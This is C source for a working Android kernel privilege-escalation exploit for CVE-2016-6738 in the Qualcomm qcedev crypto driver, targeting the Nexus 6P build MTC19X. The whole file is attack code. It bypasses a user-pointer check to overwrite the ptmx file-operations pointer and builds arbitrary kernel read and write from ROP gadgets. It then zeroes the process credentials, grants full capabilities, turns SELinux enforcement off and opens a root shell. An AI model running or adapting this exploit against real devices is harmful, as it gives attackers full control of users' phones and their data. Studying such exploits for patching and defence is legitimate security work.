/*
 * Exploit for AndroidID-30034511, CVE-2016-6738
 * https://source.android.com/security/bulletin/2016-11-01
 *
 * Just for Nexus 6p MTC19X, if you want to run on other version, some symbol address should be changed
 *
 * shell@angler:/ $ getprop ro.build.fingerprint
 * google/angler/angler:6.0.1/MTC19X/2960136:user/release-keys
 *
 * By Gengjia Chen(chengjia4574@gmail.com, twitter: @chengjia4574)
 *
 * 7-12-2016
 */

#include <sys/types.h>  
#include <sys/ioctl.h>  
#include <stdio.h>  
#include <stdlib.h>  
#include <unistd.h>  
#include <string.h>  
#include <fcntl.h>  
#include <errno.h>
#include <stdbool.h>
#include <sys/mman.h>
#include <sys/prctl.h>
#include <sys/syscall.h>
#include "qcedev.h"

#define ioctl_syscall(n, efd, cmd, arg) \
	eabi_syscall(n, efd, cmd, arg)


#define NEW_PROC_NAME		"My-Expl0it"
#define KERNEL_BASE		0xffffffc000000000

#define SELINUX_ENFORCING	0xffffffc0019de11c
#define INIT_TASK		0xffffffc00177f1a0

#define PTMX_MISC		0xffffffc001aa8580
#define PTMX_FOPS		0xffffffc001aa84a0

#define PTMX_LLSEEK		0xffffffc0002f7294
#define PTMX_READ		0xffffffc00052b954
#define PTMX_WRITE		0xffffffc00052befc
#define PTMX_POLL		0xffffffc00052bafc
#define PTMX_IOCTL		0xffffffc00052e0c4
#define COMPAT_PTMX_IOCTL	0xffffffc00052ba34
#define PTMX_OPEN		0xffffffc0005358b0
#define PTMX_RELEASE		0xffffffc00052d904
#define PTMX_FASYNC		0xffffffc00052b900

/*
 * rop read:
 * ffffffc000300060:       f9405440        ldr     x0, [x2,#168]
 * ffffffc000300064:       d65f03c0        ret
 */
#define ROP_READ	0xffffffc000300060

/*
 * rop write:
 * ffffffc000671a58:       b9000041        str     w1, [x2]
 * ffffffc000671a5c:       d65f03c0        ret
 */
#define ROP_WRITE	0xffffffc000671a58

static unsigned long my_task = 0;
static unsigned int task_offset = 680, comm_offset = 1248, cred_offset = 1240;

static int ptmx_fd = 0;
static unsigned long fake_ptmx_fops = 0;

static int kernel_read_32(unsigned long addr, unsigned int *val);
static int kernel_read(unsigned long addr, unsigned long *val);
static int kernel_write_32(unsigned long address, unsigned int value);
static int kernel_write(unsigned long addr, unsigned long val);

static int get_task_by_comm(unsigned long *task)
{
	unsigned int comm0, comm1, comm2;
	unsigned long task_list, init_task_list, addr;
	int i, ret = 0;
	char task_name[50] = {0};

	/* 
	 * follow the init_task->task list to search myself:
	 * next: swapper->init->kthreadd->... 
	 * pre:  swapper->...->myself->... 
	 */
	task_list = (INIT_TASK + task_offset);
	init_task_list = task_list;
	for(i=0; i<1000; i++) {
		/* search self process from tail */
		addr = task_list + 8;
		ret = kernel_read(addr, &task_list);

		if(task_list == init_task_list) {
			printf("search task list end, can't get task\n");
			return -1;
		}

		addr = task_list - task_offset + comm_offset;
		ret = kernel_read_32(addr, &comm0);

		addr = task_list - task_offset + comm_offset + 4;
		ret = kernel_read_32(addr, &comm1);

		addr = task_list - task_offset + comm_offset + 4 * 2;
		ret = kernel_read_32(addr, &comm2);

		memcpy(task_name, &comm0, 4);
		memcpy(task_name + 4, &comm1, 4);
		memcpy(task_name + 8, &comm2, 4);
		if(!strncmp(task_name, NEW_PROC_NAME, strlen(NEW_PROC_NAME))) {
			*task = task_list - task_offset;
			break;
		}

	}

	return 0;
}

static int do_root(void)
{
	int ret;
	unsigned long i, cred, addr;
	unsigned int tmp0;

	/* search myself */
	ret = get_task_by_comm(&my_task);
	if(ret != 0) {
		printf("[-] get myself fail!\n");
		return -1;
	}
	if(!my_task || (my_task < 0xffffffc000000000)) {
		printf("invalid task address!");
		return -2;
	}

	ret = kernel_read(my_task + cred_offset, &cred);
	if (cred < KERNEL_BASE) return -3;

	i = 1;
	addr = cred + 4 * 4;
	ret = kernel_read_32(addr, &tmp0);
	if(tmp0 == 0x43736564 || tmp0 == 0x44656144)
		i += 4;
	addr = cred + (i+0) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+1) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+2) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+3) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+4) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+5) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+6) * 4;
	ret = kernel_write_32(addr, 0);
	addr = cred + (i+7) * 4;
	ret = kernel_write_32(addr, 0);

	//securebits: cred[i+8]
	// for full capabilities
	addr = cred + (i+9) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+10) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+11) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+12) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+13) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+14) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+15) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	addr = cred + (i+16) * 4;
	ret = kernel_write_32(addr, 0xffffffff);
	/* success! */

	// disable SELinux
	kernel_write_32(SELINUX_ENFORCING, 0);

	return 0;
}

static void restore(void)
{
	unsigned long addr;
	// restore ptmx_cdev->ops
	addr = PTMX_MISC + 8 * 9;
	kernel_write(addr, PTMX_FOPS);

}

static int kernel_write_32(unsigned long addr, unsigned int val)
{
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_WRITE;

	arg = addr;
	ioctl_syscall(__NR_ioctl, ptmx_fd, val, arg);
	return 0;
}

static int kernel_write(unsigned long addr, unsigned long val)
{
	unsigned int val32;

	val32 = (unsigned int)val;
	kernel_write_32(addr, val32);

	val32 = (unsigned int)((val >> 32) & 0xffffffff);
	kernel_write_32(addr + 4, val32);
	return 0;
}

static int kernel_read_32(unsigned long addr, unsigned int *val)
{
	int ret;
	unsigned long arg;

	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = ROP_READ;
	arg = addr - 168;
	errno = 0;
	ret = ioctl_syscall(__NR_ioctl, ptmx_fd, 0xdeadbeef, arg);
	*val = ret;
	return 0;
}

static int kernel_read(unsigned long address, unsigned long *value)
{
	unsigned int val0, val1;

	kernel_read_32(address, &val0);
	kernel_read_32(address + 4, &val1);
	*value = ((unsigned long)val0 & 0xffffffff | ((unsigned long)val1 << 32) & 0xffffffff00000000);
}

static int rop_init(void)
{
	ptmx_fd = open("/dev/ptmx", O_RDONLY);
	if(ptmx_fd == -1) {
		printf("[-] Open ptmx fail (%s - %d)\n", strerror(errno), errno);
		return -1;
	}

	return 0;
}

static int rop_close(void)
{
	close(ptmx_fd);
	return 0;
}

static int qcedev_encrypt(int fd, unsigned long src, unsigned long *dst)
{
	int cmd;
	int ret;
	int size;
	struct qcedev_cipher_op_req params;

	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_ENC_REQ;
        params.entries = 1;
        //params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.op = QCEDEV_OPER_ENC;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] encrypt fake_ptmx_fops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	printf("[+] encrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst);
	return 0;
}

static int qcedev_decrypt(int fd, unsigned long src, unsigned long *dst)
{
	int cmd;
	int ret;
	int size;
	struct qcedev_cipher_op_req params;

	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        //params.in_place_op = 1; 
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        //params.op = QCEDEV_OPER_ENC;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] decrypt fake_ptmx_fops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	printf("[+] decrypt fake_ptmx_fops before = 0x%lx, after = 0x%lx\n", src, *dst);
	return 0;

}

static int trigger(int fd, unsigned long src)
{
	int cmd;
	int ret;
	int size;
	unsigned long dst;
	struct qcedev_cipher_op_req params;

	dst = PTMX_MISC + 8 * 9; // patch ptmx_cdev->ops
	size = sizeof(unsigned long);
	memset(&params, 0, sizeof(params));
        cmd = QCEDEV_IOCTL_DEC_REQ;
        params.entries = 1;
        params.in_place_op = 1; // bypass access_ok check of creq->vbuf.dst[i].vaddr
	params.alg = QCEDEV_ALG_DES;
        params.mode = QCEDEV_DES_MODE_ECB;
        params.data_len = size;
        params.vbuf.src[0].len = size;
        params.vbuf.src[0].vaddr = &src;
        params.vbuf.dst[0].len = size;
        params.vbuf.dst[0].vaddr = dst;
        memcpy(params.enckey,"test", 16);
        params.encklen = 16;

	printf("[+] overwrite ptmx_cdev ops\n");
        ret = ioctl(fd, cmd, &params); // trigger 
        if(ret == -1) {
		printf("[-] Ioctl qcedev fail(%s - %d)\n", strerror(errno), errno);
		return -1;
        }
	return 0;

}

#define SIZE 8 
static int get_root(void)
{
	int fd, i, ret = 0;
	void *map;
	unsigned int cmd;
	unsigned long edata = 0;
	unsigned long data = 0;
	struct qcedev_cipher_op_req params;

	fd = open("/dev/qce", O_RDONLY);
	if(fd == -1) {
		printf("[-] Open qcedev fail (%s - %d)\n", strerror(errno), errno);
		ret = -1;
		goto out;
	}
	printf("[+] open device qcedev\n");

        
	map = mmap(0x1000000, (size_t)0x10000, PROT_READ|PROT_WRITE, MAP_ANONYMOUS|MAP_PRIVATE, -1, (off_t)0);
        if(map == MAP_FAILED) {
                printf("[-] Failed to mmap landing (%d-%s)\n", errno, strerror(errno));
                ret = -1;
                goto out;
        }
        //printf("[+] landing mmap'ed @ %p\n", map);
        memset(map, 0x0, 0x10000);
	fake_ptmx_fops = map;
	printf("[+] fake_ptmx_fops = 0x%lx\n",fake_ptmx_fops);
	*(unsigned long*)(fake_ptmx_fops + 1 * 8) = PTMX_LLSEEK;
	*(unsigned long*)(fake_ptmx_fops + 2 * 8) = PTMX_READ;
	*(unsigned long*)(fake_ptmx_fops + 3 * 8) = PTMX_WRITE;
	*(unsigned long*)(fake_ptmx_fops + 8 * 8) = PTMX_POLL;
	*(unsigned long*)(fake_ptmx_fops + 9 * 8) = PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 10 * 8) = COMPAT_PTMX_IOCTL;
	*(unsigned long*)(fake_ptmx_fops + 12 * 8) = PTMX_OPEN;
	*(unsigned long*)(fake_ptmx_fops + 14 * 8) = PTMX_RELEASE;
	*(unsigned long*)(fake_ptmx_fops + 17 * 8) = PTMX_FASYNC;


	qcedev_encrypt(fd, fake_ptmx_fops, &edata);
	trigger(fd, edata);

	rop_init();

	printf("[+] to get root ...\n");
	do_root();

	printf("[+] restore \n");
	restore();

	rop_close();
ioctl_out:
	close(fd);
out:
	return ret;
}

static void banner(void)
{
	printf("\n");
	printf("*****************************************************************\n");
	printf("*	     	Exploit for AndroidID-30034511			*\n");
	printf("*	        	For Nexus 6p MTC19X			*\n");
	printf("*			By Gengjia Chen 			*\n");
	printf("*			   7-12-2016				*\n");
	printf("*****************************************************************\n");
	printf("\n");
}

int main(void)
{
	int ret;

	banner();

	prctl(PR_SET_NAME, (unsigned long)NEW_PROC_NAME,0,0,0);

	ret = get_root();
	if(ret == -1) {
		printf("[-] get root fail\n");
		return -1;
	}
	printf("[+] SELinux disabled! \n");
	if (!setresuid(0, 0, 0)) {
		setresgid(0, 0, 0);
		printf("\n[+] Got it :)\n");
		printf("[+] uid=%d gid=%d\n", getuid(), getgid());
		sleep(1);
		ret = execl("/system/bin/sh", "/system/bin/sh", NULL);
		if( ret ) {
			printf("execl failed, errno %d\n", errno);
		}
	}
	return 0;
}
